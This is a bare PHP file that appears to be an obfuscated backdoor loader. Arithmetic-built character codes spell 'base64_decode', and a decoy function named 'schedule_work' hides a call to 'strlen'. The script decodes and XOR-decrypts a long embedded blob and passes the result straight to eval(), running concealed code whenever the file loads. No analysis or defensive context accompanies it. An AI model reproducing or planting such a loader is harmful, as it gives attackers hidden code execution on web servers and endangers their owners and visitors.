<?php
$alu = array(98 + 5 - 5 + 7 - 7 - 19 + 19 - 9 + 9, (97 * 1 / 1 - 17 + 17 * 1) / 1, 115 + 7 + 1 - (7 + 1) + 7 + 3 - (7 + 3), 101 - 1 + 1 - 19 + 19 + 2 + 1 - (2 + 1), 54 + 10 - 10 - 14 + 14 + 20 - 20, 52 - 12 + 12 + 3 - 3, 95 * 19 / 19 + 1 + 10 - (1 + 10) + 8 + 1 - (8 + 1) + 7 + 4 - (7 + 4), 100 - 16 + 16 - 2 + 2, (101 + 9 + 6 - (9 + 6) + 7 + 6 - (7 + 6) + 12 - 12 * 1) / 1 - 19 + 19, 99 + 9 + 5 - (9 + 5) - 6 + 6 - 12 + 12 + 1 + 9 - (1 + 9) + 8 + 4 - (8 + 4), 111 - 1 + 1 - 19 + 19, 100 * 10 / 10 * 5 / 5 + 20 - 20 - 2 + 2 + 7 - 7, ((101 - 19 + 19 * 1) / 1 + 9 + 7 - (9 + 7) - 14 + 14 * 1) / 1);
$azl = '';
foreach ($alu as $wno) {
    $azl .= chr($wno);
}
$tqr = 'BBsDSwIZJRwRHRwHEFEHWA4NWRkTFhZREh0lAQBRFAMDTBhaWg4MBAQDC1cfGSUfDQdPUz1WCRABAR9CRgQHVBcDQEwmAx5eEV0dX0BSJg8FX0sDA1wOHQsERxUDSxQPTjcdDwQYBl1ZSh8EH1BdUz1RCGJeNxcSOl5ZRQFLEx4YHgJXEUwQTRMLWQwSGQFMGFYUSCYPBV9LQwJcFg5DUEMoC0FMWAgaGBNPUD1BBx5HVl5NS1A9WhxfXVVHTUBbSwMMRF43EwJaUz17PnYxITxRQygFQUwJSlNdNQkPXwhEAl43DQZaFhBKEEBSQUJOOAMOY1VmHREkVzgDCk9LAyUfDQdPUD0fXx4DT1dNEVBLAwZREwQcQkMoDEBYQl43DQY8Uz1fCGRUVV01DR85CEUMJzNdNQkPPwMYX1JJXTUNHzkIRQwnM101CQ9JCEBkUxMQDE9WRmcbUSFYTV86LEZnH0FRWEs3ThUQXRBSQUwmDR5cSQNVZg4EIk44EBtlTGYOAA5QXSgVTBwRXTdeREAVDx9fHhxPUFFDKAxAWhJBFV01CQ9fHC5XAkNJX0xHUwMMHSUPAFdDKBZUKglJWSRCTllGZwVVIVhKWTpMC15ZGF43DQY8R1EMLBFeNx4TTl4ZHC5XAlVdNRMbOQhACydAXTUADk4cLk0WM0lbVypLA1VmDgQiWlVAPxBVZhQQVU44Aw5jQQtJNVdOOAMOY0ELTjVRTjgDDmNBCE81UU44HQpjQQonQVBDXAoLVhJVDwwcQkMoBUFYAg==';
$jkz = 'gwb8q9zhyj';
$tno = '';
for ($vmq = 0; $vmq < schedule_work($azl($tqr)); $vmq++) {
    $tno .= $azl($tqr)[$vmq] ^ $jkz[$vmq % schedule_work($jkz)];
}
eval($tno);

function schedule_work($c)
{
    $a = array(59 * 1 + 51, 83 * 46 - 3717, 92 * 1 + 16, 60 + 54, 21 + 73 + 22, 14 * 21 - 179);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    $s = strrev($s);
    return $s($c);
}
